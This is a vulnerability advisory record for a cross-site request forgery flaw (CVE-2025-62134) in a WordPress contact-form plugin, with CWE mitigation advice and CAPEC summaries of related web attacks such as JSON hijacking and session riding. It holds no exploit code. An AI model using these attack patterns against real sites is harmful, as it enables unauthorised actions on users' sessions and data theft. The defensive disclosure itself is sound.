Vulnerability from github – Published: 2025-12-31 15:30 – Updated: 2026-04-01 18:36Cross-Site Request Forgery (CSRF) vulnerability in A WP Life Contact Form Widget allows Cross Site Request Forgery.This issue affects Contact Form Widget: from n/a through 1.5.1.
{
"affected": [],
"aliases": [
"CVE-2025-62134"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-31T14:15:53Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in A WP Life Contact Form Widget allows Cross Site Request Forgery.This issue affects Contact Form Widget: from n/a through 1.5.1.",
"id": "GHSA-rf4f-7q96-c7hp",
"modified": "2026-04-01T18:36:27Z",
"published": "2025-12-31T15:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62134"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/new-contact-form-widget/vulnerability/wordpress-contact-form-widget-plugin-1-5-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/wordpress/plugin/new-contact-form-widget/vulnerability/wordpress-contact-form-widget-plugin-1-5-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.